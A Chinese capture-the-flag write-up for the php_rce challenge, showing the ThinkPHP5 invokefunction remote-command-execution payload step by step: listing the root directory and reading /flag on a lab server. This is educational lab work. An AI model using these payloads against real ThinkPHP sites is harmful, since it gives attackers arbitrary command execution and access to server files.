【攻防世界】php_rce (ThinkPHP5)

进入题目环境,查看页面信息:

页面提示 ThinkPHP V5,猜测存在ThinkPHP5 版本框架的漏洞,于是查找 ThinkPHP5 的攻击POC。

构造 payload: http://61.147.171.105:50126/?s=index/think\\app/invokefunction\&function=call_user_func_array\&vars\[0\]=system\&vars\[1\]\[\]=ls /

这个URL的目的是利用 ThinkPHP 框架中的 invokefunction 方法,通过调用 call_user_func_array 函数来执行系统命令 ls /,从而列出服务器根目录下的文件和目录。这种形式的攻击称为远程命令执行(RCE)攻击,如果应用程序没有适当的安全措施来验证和过滤用户提供的输入,可能会导致严重的安全问题。因此,开发者应该在编写代码时严格验证和过滤用户输入,以防止此类攻击。
call_user_func_array()函数:

call_user_func_array(参数一,参数二):

参数一:表示一个回调函数。

参数二:表示传递给这个回调函数的参数,参数二的数据类型为数组。

如果回调函数成功执行,则返回执行结果,否则返回False值。

首先利用 system("ls") 指令查看当前目录下的文件名:

发现当前目录下有文件夹(也有可能是文件) flag,flag值大概率在 flag 中,构造 payload:http://61.147.171.105:50126/?s=index/think\\app/invokefunction\&function=call_user_func_array\&vars\[0\]=system\&vars\[1\]\[\]=cd flag& ls /

发现指令未被执行,无回显。

在 Linux 中,cd 命令是用于切换当前工作目录的命令,它只能用于切换到文件夹(目录)中,而不能直接切换到文件中。如果你尝试执行类似 cd fkag 这样的命令,Linux 系统会返回一个错误,提示指定的路径不是一个目录,则说明 flag 是一个文件,直接查询即可。

构造 payload:http://61.147.171.105:50126/?s=index/think\\app/invokefunction\&function=call_user_func_array\&vars\[0\]=system\&vars\[1\]\[\]=cat /flag

因为使用 ls /指令查询时 flag 在根目录下 ,故使用 cat /flag 而不是用 cat flag。提交页面如下:

相关推荐
虎王物联1 天前
PHP实现MQTT消息处理:物联网设备数据接收与指令下发
android·物联网·php
程序猿_极客1 天前
【免费】分享一套优质的基于Php+Mysql的电子购物网站的设计与实现,校园小卖部系统
数据库·mysql·php·购物商城系统
PHP实战开发录1 天前
PHP后台大文件导出内存溢出排查记录
性能优化·系统架构·php·开发
lskblog1 天前
Ubuntu 18.04 安装 LibreOffice(用于 Word 在线预览转换)
java·linux·python·ubuntu·word·php·laravel
-今昭-1 天前
OpenStack Dashboard 部署与图形化创建云主机实战指南
开发语言·php
那年窗外下的雪.2 天前
AIDC 学习日志|第 15 天|EVPN 多归属故障收敛与撤销机制
网络·学习·php
点我头像干啥2 天前
004:多个PDF文件合并
开发语言·pdf·php
AC赳赳老秦2 天前
企业级合规审计体系:用 OpenClaw 落地采集全链路留痕,自动生成合规审计报告
java·python·django·beautifulsoup·php·deepseek·openclaw
郑州光合科技余经理2 天前
海外版外卖系统架构:订单怎么流转、权限怎么分
java·开发语言·前端·系统架构·uni-app·php·ai编程
PHP实战开发录2 天前
企业微信客户标签同步冲突排查记录
mysql·系统安全·php·企业微信·开发